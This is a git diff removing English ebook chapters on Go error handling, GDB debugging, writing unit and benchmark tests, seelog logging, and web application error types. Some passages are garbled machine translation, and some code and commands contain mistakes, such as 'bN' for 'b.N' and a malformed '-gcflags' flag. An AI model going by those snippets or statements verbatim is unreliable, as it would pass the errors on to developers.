this opportunity to establish these good habits from the very beginning. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 10 summary](10.4.md) -- Next section: [Error handling](11.1.md) diff --git a/en/eBook/11.1.md b/en/eBook/11.1.md deleted file mode 100644 index a29e19df..00000000 --- a/en/eBook/11.1.md +++ /dev/null @@ -1,213 +0,0 @@ -# 11.1 Error handling - -Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C), statements are explicit and don't contain hidden any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable. - - func Open(name string) (file * File, err error) - -Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value: - - f, err := os.Open("filename.ext") - if err != nil { - log.Fatal(err) - } - -Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications. - -## Error type - -`error` is an interface type with the following definition: - - type error interface { - Error() string - } - -`error` is a built-in interface type, we can / builtin / pack below to find the appropriate definition. And we have a lot of internal error is used inside the package packet errors following implementation structure errorString private - - - -`error` is a built-in interface type. We can find the corresponding definition in the builtin package below. We also have a lot of internal packages using the error in a private structure called `errorString`, which implements the error interface: - - // errorString is a trivial implementation of error. - type errorString struct { - s string - } - - func (e *errorString) Error() string { - return e.s - } - -You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows: - - // New returns an error that formats as the given text. - func New(text string) error { - return &errorString{text} - } - -The following example demonstrates how to use `errors.New`: - - func Sqrt(f float64) (float64, error) { - if f < 0 { - return 0, errors.New("math: square root of negative number") - } - // implementation - } - -In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error. - - f, err := Sqrt(-1) - if err != nil { - fmt.Println(err) - } - -## Custom Errors - -Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package: - - type SyntaxError struct { - msg string // error description - Offset int64 // where the error occurred - } - - func (e * SyntaxError) Error() string {return e.msg} - -The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message: - - if err := dec.Decode(&val); err != nil { - if serr, ok := err.(*json.SyntaxError); ok { - line, col := findLine(f, serr.Offset) - return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) - } - return err - } - -It should be noted that when the function returns a custom error, the return value is set to the recommend type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example: - - func Decode() *SyntaxError { - // error, which may lead to the caller's err != nil comparison to always be true. - var err * SyntaxError // pre-declare error variable - if an error condition { - err = &SyntaxError{} - } - return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true - } - -See http://golang.org/doc/faq#nil_error for an in depth explanation - -The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach: - - package net - - type Error interface { - error - Timeout() bool // Is the error a timeout? - Temporary() bool // Is the error temporary? - } - - -Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation. - - if nerr, ok := err.(net.Error); ok && nerr.Temporary() { - time.Sleep(1e9) - continue - } - if err != nil { - log.Fatal(err) - } - -## Error handling - -Go handles errors and checks the return values of functions in a C-like fashion, which is different than what most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour: - - func init() { - http.HandleFunc("/view", viewRecord) - } - - func viewRecord(w http.ResponseWriter, r *http.Request) { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - http.Error(w, err.Error(), 500) - return - } - if err := viewTemplate.Execute(w, record); err != nil { - http.Error(w, err.Error(), 500) - } - } - -The above example demonstrate access to data and template call has detected error when an error occurs , call a unified handler http.Error, returns a 500 error code to the client , and display the corresponding error data. But when more and more HandleFunc join, so error-handling logic code will be more and more, in fact, we can customize the router to reduce code ( refer to realize the idea of ​​the third chapter of HTTP Detailed) . - -The above function is an example of getting data and handling an error when it occurs by calling a unified error processing function called `http.Error`. In this case, it will return an Internal Error 500 code to the client, and display the corresponding error data. Even using this method however, when more and more `HandleFunc`'s are needed, the error-handling logic can still become quite bloated. An alternative approach would be to customize our router to handle errors by default: - - type appHandler func(http.ResponseWriter, *http.Request) error - - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if err := fn(w, r); err != nil { - http.Error(w, err.Error(), 500) - } - } - -Above we've defined a custom router. We can then register our handler as usual: - - func init() { - http.Handle("/view", appHandler(viewRecord)) - } - -The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it? - - func viewRecord(w http.ResponseWriter, r *http.Request) error { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return err - } - return viewTemplate.Execute(w, record) - } - -The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so: - - type appError struct { - Error error - Message string - Code int - } - -Our custom router can be changed accordingly: - - type appHandler func(http.ResponseWriter, *http.Request) *appError - - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if e := fn(w, r); e != nil { // e is *appError, not os.Error. - c := appengine.NewContext(r) - c.Errorf("%v", e.Error) - http.Error(w, e.Message, e.Code) - } - } - -After we've finished modifying our custom error, our logic can be changed as follows: - - func viewRecord(w http.ResponseWriter, r *http.Request) *appError { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return &appError{err, "Record not found", 404} - } - if err := viewTemplate.Execute(w, record); err != nil { - return &appError{err, "Can't display record", 500} - } - return nil - } - -As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases. - -## Summary - -Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications. - -## Links - -- [Directory](preface.md) -- Previous section: [Error handling, debugging and testing](11.0.md) -- Next section: [Debugging by using GDB](11.2.md) diff --git a/en/eBook/11.2.md b/en/eBook/11.2.md deleted file mode 100644 index c11b0cf4..00000000 --- a/en/eBook/11.2.md +++ /dev/null @@ -1,264 +0,0 @@ -# 11.2 Debugging with GDB - -During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB. - -## GDB debugging profile - -GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things: - -1. Initial settings can be customize according to the specific requirements of your application. -2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions). -3. When the program has been stopped, you can check its current state to see what happened. -4. Dynamically change the current program's execution environment. - -To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1. - -When compiling Go programs, the following points require particular attention: - -1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed -2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags. - -Some of GDB's most commonly used commands are as follows: - -- list - -Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below. - - 10 time.Sleep(2 * time.Second) - 11 c <- i - 12 } - 13 close(c) - 14 } - 15 - 16 func main() { - 17 msg := "Starting main" - 18 fmt.Println(msg) - 19 bus := make(chan int) - -- break - -Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row. - -- delete - -Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number. - - Num Type Disp Enb Address What - 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 - breakpoint already hit 1 time - -- backtrace - -Abbreviated as `bt`, this command is used to print the execution of the code, for instance: - - #0 main.main () at /home/xiemengjun/gdb.go:23 - #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 - #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 - #3 0x0000000000000000 in ?? () - -- info - -The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used: - -- `info locals` - -Displays the currently executing program's variable values - -- `info breakpoints` - -Displays a list of currently set breakpoints - -- `info goroutines` - -Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution - - * 1 running runtime.gosched - * 2 syscall runtime.entersyscall - 3 waiting runtime.gosched - 4 runnable runtime.gosched - -- print - -Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps. - -- whatis - -`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following: - -type = struct string - -- next - -Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue - -- continue - -Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point - -- set variable - -This command is used to change the value of a variable in the process. It can be used like so: `set variable = ` - -## The debugging process - -Now, let's take a look at the following code to see how GDB is typically used to debug Go programs: - - - package main - - import ( - "fmt" - "time" - ) - - func counting(c chan<- int) { - for i := 0; i < 10; i++ { - time.Sleep(2 * time.Second) - c <- i - } - close(c) - } - - func main() { - msg := "Starting main" - fmt.Println(msg) - bus := make(chan int) - msg = "starting a gofunc" - go counting(bus) - for count := range bus { - fmt.Println("count:", count) - } - } - - -Now we compile the file, creating an executable file called "gdbfile": - - go build -gcflags "-N -l" gdbfile.go - -Use the GDB command to start debugging : - - gdb gdbfile - -After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing: - - (gdb) run - Starting program: /home/xiemengjun/gdbfile - Starting main - count: 0 - count: 1 - count: 2 - count: 3 - count: 4 - count: 5 - count: 6 - count: 7 - count: 8 - count: 9 - [LWP 2771 exited] - [Inferior 1 (process 2771) exited normally] - -Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints: - - (gdb) b 23 - Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. - (gdb) run - Starting program: /home/xiemengjun/gdbfile - Starting main - [New LWP 3284] - [Switching to LWP 3284] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - - -In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint: - - (gdb) list - 18 fmt.Println(msg) - 19 bus := make(chan int) - 20 msg = "starting a gofunc" - 21 go counting(bus) - 22 for count := range bus { - 23 fmt.Println("count:", count) - 24 } - 25 } - -Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`: - - (gdb) info locals - count = 0 - bus = 0xf840001a50 - (gdb) p count - $1 = 0 - (gdb) p bus - $2 = (chan int) 0xf840001a50 - (gdb) whatis bus - type = chan int - -To let the program continue its execution until the next breakpoint, enter the `c` command: - - (gdb) c - Continuing. - count: 0 - [New LWP 3303] - [Switching to LWP 3303] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - (gdb) c - Continuing. - count: 1 - [Switching to LWP 3302] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - - -After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information. - -Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them: - - (gdb) info locals - count = 2 - bus = 0xf840001a50 - (gdb) set variable count=9 - (gdb) info locals - count = 9 - bus = 0xf840001a50 - (gdb) c - Continuing. - count: 9 - [Switching to LWP 3302] - - Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 - 23 fmt.Println("count:", count) - -Finally, while running, the program creates a number of number goroutines. We can see what each goroutine is doing using `info goroutines`: - - (gdb) info goroutines - * 1 running runtime.gosched - * 2 syscall runtime.entersyscall - 3 waiting runtime.gosched - 4 runnable runtime.gosched - (gdb) goroutine 1 bt - #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 - #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) - at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 - #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) - at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 - #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 - #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 - #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 - #6 0x0000000000000000 in ?? () - -From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed. - -## Summary - -In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its [official website](http://www.gnu.org/software/gdb/). - -## Links - -- [Directory](preface.md) -- Previous section: [Error handling](11.1.md) -- Next section: [Write test cases](11.3.md) diff --git a/en/eBook/11.3.md b/en/eBook/11.3.md deleted file mode 100644 index 259aaef3..00000000 --- a/en/eBook/11.3.md +++ /dev/null @@ -1,163 +0,0 @@ -# 11.3 Writing test cases - -In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go. - -The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step. - -## How to write test cases - -Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory. - -Let's go ahead and create two files in the directory called gotest.go and gotest_test.go - -1. Gotest.go: This file declares our package name and has a function that performs a division operation: - -
package gotest
-	
-	import (
-		"errors"
-	)
-	
-	func Division(a, b float64) (float64, error) {
-		if b == 0 {
-			return 0, errors.New("Divisor can not be 0")
-		}
-		return a / b, nil
-	}
- -2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files: - -- File names must end in `_test.go` so that `go test` can find and execute the appropriate code -- You have to import the `testing` package -- All test case functions begin with `Test` -- Test cases follow the source code order -- Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status -- In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name. -- By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log. - -Here is our test code: - - package gotest - - import ( - "testing" - ) - - func Test_Division_1(t *testing.T) { - // try a unit test on function - if i, e := Division(6, 2); i != 3 || e != nil { - // If it is not as expected, then the test has failed - t.Error("division function tests do not pass ") - } else { - // record the expected information - t.Log("first test passed ") - } - } - - func Test_Division_2(t *testing.T) { - t.Error("just does not pass") - } - - -When executing `go test` in the project directory, it will display the following information: - - --- FAIL: Test_Division_2 (0.00 seconds) - gotest_test.go: 16: is not passed - FAIL - exit status 1 - FAIL gotest 0.013s - -We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output: - - === RUN Test_Division_1 - --- PASS: Test_Division_1 (0.00 seconds) - gotest_test.go: 11: first test passed - === RUN Test_Division_2 - --- FAIL: Test_Division_2 (0.00 seconds) - gotest_test.go: 16: is not passed - FAIL - exit status 1 - FAIL gotest 0.012s - -The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code: - - func Test_Division_2(t *testing.T) { - // try a unit test on function - if _, e := Division(6, 0); e == nil { - // If it is not as expected, then the error - t.Error("Division did not work as expected.") - } else { - // record some of the information you expect to record - t.Log("one test passed.", e) - } - } - -We execute `go test-v` once again. The following information should now be displayed -the test suite has passed~: - - === RUN Test_Division_1 - --- PASS: Test_Division_1 (0.00 seconds) - gotest_test.go: 11: first test passed - === RUN Test_Division_2 - --- PASS: Test_Division_2 (0.00 seconds) - gotest_test.go: 20: one test passed. divisor can not be 0 - PASS - ok gotest 0.013s - -## How to write stress tests - -Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need need to pay attention to the following points: - -- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter. - - func BenchmarkXXX (b *testing.B){...} - -- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"`. For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"`. -- In your stress tests, please remember to use testing.BN any loop bodies, so that the tests can be run properly. -- As before, test file names must end in `_test.go` - -Here we create a stress test file called webbench_test.go: - - package gotest - - import ( - "testing" - ) - - func Benchmark_Division(b *testing.B) { - for i := 0; i < bN; i++ { // use bN for looping - Division(4, 5) - } - } - - func Benchmark_TimeConsumingFunction(b *testing.B) { - b.StopTimer() // call the function to stop the stress test time count - - // Do some initialization work, such as reading file data, database connections and the like, - // So that our benchmarks reflect the performance of the function itself - - b.StartTimer() // re-start time - for i := 0; i < b.N; i++ { - Division(4, 5) - } - } - - - -We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results: - - PASS - Benchmark_Division 500000000 7.76 ns/ op - Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op - ok gotest 9.364s - -The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite. - -## Summary - -From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing. - -## Links - -- [Directory](preface.md) -- Previous section: [Debugging using GDB](11.2.md) -- Next section: [Summary](11.4.md) diff --git a/en/eBook/11.4.md b/en/eBook/11.4.md deleted file mode 100644 index 6bd250a2..00000000 --- a/en/eBook/11.4.md +++ /dev/null @@ -1,9 +0,0 @@ -# 11.4 Summary - -Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected. - -## Links - -- [Directory](preface.md) -- Previous section: [Write test cases](11.3.md) -- Next chapter: [Deployment and maintenance](12.0.md) diff --git a/en/eBook/12.0.md b/en/eBook/12.0.md deleted file mode 100644 index 67cccc87..00000000 --- a/en/eBook/12.0.md +++ /dev/null @@ -1,9 +0,0 @@ -# 12 Deployment and maintenance - -So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 11 summary](11.4.md) -- Next section: [Logs](12.1.md) diff --git a/en/eBook/12.1.md b/en/eBook/12.1.md deleted file mode 100644 index bd5e3143..00000000 --- a/en/eBook/12.1.md +++ /dev/null @@ -1,180 +0,0 @@ -# 12.1 Logs - -We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple `log` package which we can use to help us implement simple logging functionality. Logs can be printed using Go's `fmt` package, called inside error handling functions for general error logging. Go's standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the [seelog](https://github.com/cihub/seelog) logging framework. Let's take a look at how we can use `seelog` to perform logging in our Go applications. - -## Introduction to seelog - -Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows: - -- Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program -- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application -- Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc. -- Support for different log outputs - - - Command line output - - File Output - - Cached output - - Support log rotate - - SMTP Mail - -The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its [official wiki](https://github.com/cihub/seelog/wiki) which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects: - -First install seelog: - - go get -u github.com/cihub/seelog - -Then let's write a simple example: - - package main - - import log "github.com/cihub/seelog" - - func main() { - defer log.Flush() - log.Info("Hello from Seelog!") - } - -Compile and run the program. If you see a `Hello from seelog` in your application log, seelog has been successfully installed and is running operating normally. - -## Custom log processing with seelog - -Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package: - - - package logs - - import ( - "errors" - "fmt" - seelog "github.com/cihub/seelog" - "io" - ) - - var Logger seelog.LoggerInterface - - func loadAppConfig() { - appConfig := ` - - - - - - - - - - - - - - - - - ` - logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) - if err != nil { - fmt.Println(err) - return - } - UseLogger(logger) - } - - func init() { - DisableLog() - loadAppConfig() - } - - // DisableLog disables all library log output - func DisableLog() { - Logger = seelog.Disabled - } - - // UseLogger uses a specified seelog.LoggerInterface to output library log. - // Use this func if you are using Seelog logging system in your app. - func UseLogger(newLogger seelog.LoggerInterface) { - Logger = newLogger - } - - -The above implements the three main functions: - -- `DisableLog` - -Initializes a global variable `Logger` with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized - -- `LoadAppConfig` - -Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters: - -- Seelog - -The `minlevel` parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional `maxlevel` parameter is similarly used to configure the maximum logging level desired. - -- Outputs - -Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur. - -- Formats - -Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog's [wiki](https://github.com/cihub/seelog/wiki/Format-reference) - -- `UseLogger` - -Set the current logger as our log processor - -Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it: - - package main - - import ( - "net/http" - "project/logs" - "project/configs" - "project/routes" - ) - - func main() { - addr, _ := configs.MainConfig.String("server", "addr") - logs.Logger.Info("Start server at:%v", addr) - err := http.ListenAndServe(addr, routes.NewMux()) - logs.Logger.Critical("Server err:%v", err) - } - -## Email notifications - -The above example explains how to set up email notifications with `seelog`. As you can see, we used the following `smtp` configuration: - - - - - -We set the format of our alert messages through the `criticalemail` configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the `recipient` configuration. It's a simple matter of adding one line for each additional recipient. - -To test whether or not this code is working properly, you can add a fake critical message to your application like so: - - logs.Logger.Critical("test Critical message") - -Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email notifications. - -Now, whenever our application logs a critical message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner. - -## Using application logs - -When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems. - -As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the `grep` command like so: - - # cat /data/logs/roll.log | grep "failed login" - 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password - -This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set `seelog` up with the logrotate configuration to ensure that single log files do not consume excessive disk space. - -## Summary - -On the face of seelog system and how it can be customized based on the learning log system, and now we can easily construct a suitable demand powerful log processing the system. Data analysis log processing system provides a reliable data source, such as through the log analysis, we can further optimize the system, or application problems arise easy to find location problem, another seelog also provides a log grading function, through the configuration for min-level, we can easily set the output test or release message level. - -## Links - -- [Directory](preface.md) -- Previous section: [Deployment and maintenance](12.0.md) -- Next section: [Errors and crashes](12.2.md) diff --git a/en/eBook/12.2.md b/en/eBook/12.2.md deleted file mode 100644 index 54408a0f..00000000 --- a/en/eBook/12.2.md +++ /dev/null @@ -1,141 +0,0 @@ -# 12.2 Errors and crashes - -Our on-line soon after the Web application, then the probability of various error has occurred, Web applications may be a variety of daily operation errors, specifically as follows: - -- Database error: refers to access the database server or data -related errors. For example, the following may occur some database errors. - -- Connection Error: This type of error may be disconnected from the network database server, user name, password is incorrect, or the database does not exist. -- Query Error: illegal use of SQL cause an error like this SQL error if the program through rigorous testing should be avoided. -- Data Error: database constraint violation, such as a unique field to insert a duplicate primary key values ​​will complain, but if your application on-line through a rigorous testing before also avoid such problems. -- Application Runtime Error: This type of error range is very wide, covering almost all appear in the code error. Possible application errors are as follows: - -- File system and permissions: application to read the file does not exist, or do not have permission to read the file, or written to a file is not allowed to write, which will result in an error. If the application reads the file format is not correct will be given, such as configuration files should be INI configuration format, and set into JSON format an error. -- Third-party applications: If our application interfaces coupled with other third-party programs, such as articles published after the application automatically calls the hair micro-blogging interface, so the interface must be running to complete the function we publish an article. - -- HTTP errors: These errors are based on the user's request errors, the most common is the 404 error. While there may be many different errors, but also one of the more common error 401 Unauthorized error( authentication is required to access the resource ), 403 Forbidden error( do not allow users to access resources ) and 503 error( internal program error ). -- Operating system error: These errors are due to the application on the operating system error caused mainly operating system resources are allocated over, leading to crashes, as well as the operating system disk is full, making it impossible to write, so it will cause a lot of errors. -- Network error: error refers to two aspects, one is the application when the user requests a network disconnection, thus disrupt the connection, this error does not cause the application to crash, but it will affect the effect of user access ; another on the one hand is an application to read the data on other networks, other network disconnect can 